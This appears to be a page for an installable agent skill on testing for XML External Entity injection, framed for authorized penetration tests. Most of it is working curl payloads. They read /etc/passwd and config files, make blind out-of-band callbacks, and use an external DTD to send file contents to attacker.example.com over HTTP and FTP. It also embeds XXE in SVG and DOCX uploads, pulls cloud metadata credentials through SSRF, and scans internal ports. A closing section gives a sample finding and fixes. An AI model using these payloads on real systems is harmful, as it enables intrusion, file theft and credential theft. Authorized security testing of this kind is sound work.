Loading...
Loading...
Discovering and exploiting XML External Entity injection vulnerabilities to read server files, perform SSRF, and exfiltrate data during authorized penetration tests.
npx skill4agent add mukul975/anthropic-cybersecurity-skills testing-for-xxe-injection-vulnerabilitiesContent-Type: application/xmltext/xmlgit clone https://github.com/enjoiz/XXEinjector.git# Look for XML content types in Burp proxy history
# Filter for: Content-Type: application/xml, text/xml, application/soap+xml
# Test if JSON endpoints also accept XML
# Original JSON request:
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"search":"test"}' \
"https://target.example.com/api/search"
# Try converting to XML:
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><root><search>test</search></root>' \
"https://target.example.com/api/search"
# Check file upload endpoints for XML-based formats
# DOCX, XLSX, PPTX, SVG, PDF, XML, RSS, ATOM, SOAP
# These all contain XML that may be parsed server-side
# Check for SOAP endpoints
curl -s -X POST \
-H "Content-Type: text/xml" \
-H "SOAPAction: \"\"" \
-d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><test/></soap:Body></soap:Envelope>' \
"https://target.example.com/ws/service"# Basic XXE payload to read /etc/passwd
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# Windows file read
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# Read application configuration files
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# PHP filter wrapper for base64 encoding (avoids XML parsing errors)
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"# Blind XXE with HTTP callback (use Burp Collaborator or interactsh)
# Start interactsh: interactsh-client
# Use the generated domain: abc123.oast.fun
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://abc123.oast.fun/xxe-test">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# Check interactsh/Collaborator for incoming DNS or HTTP requests
# Blind XXE with DNS exfiltration
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://xxe-confirmed.abc123.oast.fun">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# Blind XXE via parameter entities (when regular entities are blocked)
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://abc123.oast.fun/xxe-param">
%xxe;
]>
<root><search>test</search></root>' \
"https://target.example.com/api/search"# Host a malicious DTD file on attacker server
# Create file: evil.dtd
cat > /tmp/evil.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.example.com/?data=%file;'>">
%eval;
%exfil;
EOF
# Host the DTD
cd /tmp && python3 -m http.server 8888 &
# Send the XXE payload referencing the external DTD
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.example.com:8888/evil.dtd">
%dtd;
]>
<root><search>test</search></root>' \
"https://target.example.com/api/search"
# For multi-line file exfiltration, use FTP protocol
# evil-ftp.dtd:
cat > /tmp/evil-ftp.dtd << 'EOF'
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'ftp://attacker.example.com/%file;'>">
%eval;
%exfil;
EOF
# Use xxeserv or similar FTP listener to capture multi-line output
# python3 xxeserv.py --ftp --port 2121# SVG file with XXE
cat > /tmp/xxe.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="0" y="20">&xxe;</text>
</svg>
EOF
# Upload the SVG
curl -s -X POST \
-F "file=@/tmp/xxe.svg;type=image/svg+xml" \
-b "session=abc123" \
"https://target.example.com/api/upload/avatar"
# DOCX file with XXE (DOCX is a ZIP containing XML files)
mkdir -p /tmp/xxe-docx
cd /tmp/xxe-docx
# Unzip a legitimate .docx file
unzip /tmp/template.docx -d /tmp/xxe-docx
# Inject XXE into [Content_Types].xml or document.xml
# Add DTD with external entity to document.xml
# Repackage: cd /tmp/xxe-docx && zip -r /tmp/malicious.docx *
# XLSX with XXE (same technique as DOCX)
# Inject into xl/sharedStrings.xml or [Content_Types].xml# SSRF via XXE to cloud metadata
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"
# Internal port scanning via XXE
for port in 22 80 443 3306 5432 6379 8080 8443 9200; do
echo -n "Port $port: "
curl -s -X POST --max-time 5 \
-H "Content-Type: application/xml" \
-d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:$port/\">]><root><search>&xxe;</search></root>" \
"https://target.example.com/api/search" | head -c 100
echo
done
# Access internal services
curl -s -X POST \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-admin.local:8080/admin">
]>
<root><search>&xxe;</search></root>' \
"https://target.example.com/api/search"| Concept | Description |
|---|---|
| XML External Entity | An entity defined in a DTD that references external resources via SYSTEM or PUBLIC keywords |
| DTD (Document Type Definition) | Defines the structure and legal elements of an XML document, including entity declarations |
| Internal Entity | Entity defined with a value directly in the DTD ( |
| External Entity | Entity that loads content from a URI ( |
| Parameter Entity | Entity used within the DTD itself, prefixed with |
| Blind XXE | XXE where entity values are not reflected in the response, requiring out-of-band exfiltration |
| Billion Laughs (DoS) | Recursive entity expansion attack causing exponential memory consumption |
| XXE to SSRF | Using XXE to make the server send HTTP requests to internal or external services |
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Request interception, modification, and Collaborator for OOB detection |
| XXEinjector | Automated XXE exploitation with file exfiltration and SSRF capabilities |
| interactsh | Out-of-band interaction server for detecting blind XXE callbacks |
| xxeserv | Dedicated FTP/HTTP server for XXE data exfiltration |
| OWASP ZAP | Automated XXE scanning in active scan mode |
| DTD-Finder | Discovers DTD files on the server for entity injection |
/etc/passwdContent-Typeapplication/xml[Content_Types].xml## XXE Injection Finding
**Vulnerability**: XML External Entity (XXE) Injection
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/search (Content-Type: application/xml)
**OWASP Category**: A05:2021 - Security Misconfiguration
### Reproduction Steps
1. Send POST request to /api/search with Content-Type: application/xml
2. Include DTD with external entity: <!ENTITY xxe SYSTEM "file:///etc/passwd">
3. Reference entity in XML body: <search>&xxe;</search>
4. Server returns file contents in the response
### Confirmed Impact
- Local file read: /etc/passwd, /etc/hostname, application config files
- SSRF: Accessed AWS metadata at 169.254.169.254
- Internal network scanning: Identified internal services on ports 3306, 6379, 8080
### Files Retrieved
| File | Contents Summary |
|------|-----------------|
| /etc/passwd | 42 user accounts, service accounts identified |
| /var/www/html/config.php | Database credentials in plaintext |
| /etc/hostname | Internal hostname: prod-web-01 |
### Recommendation
1. Disable external entity processing in the XML parser
2. Disable DTD processing entirely if not required
3. Use JSON instead of XML where possible
4. Implement input validation to reject DTD declarations in XML input
5. Apply least-privilege file system permissions for the web server user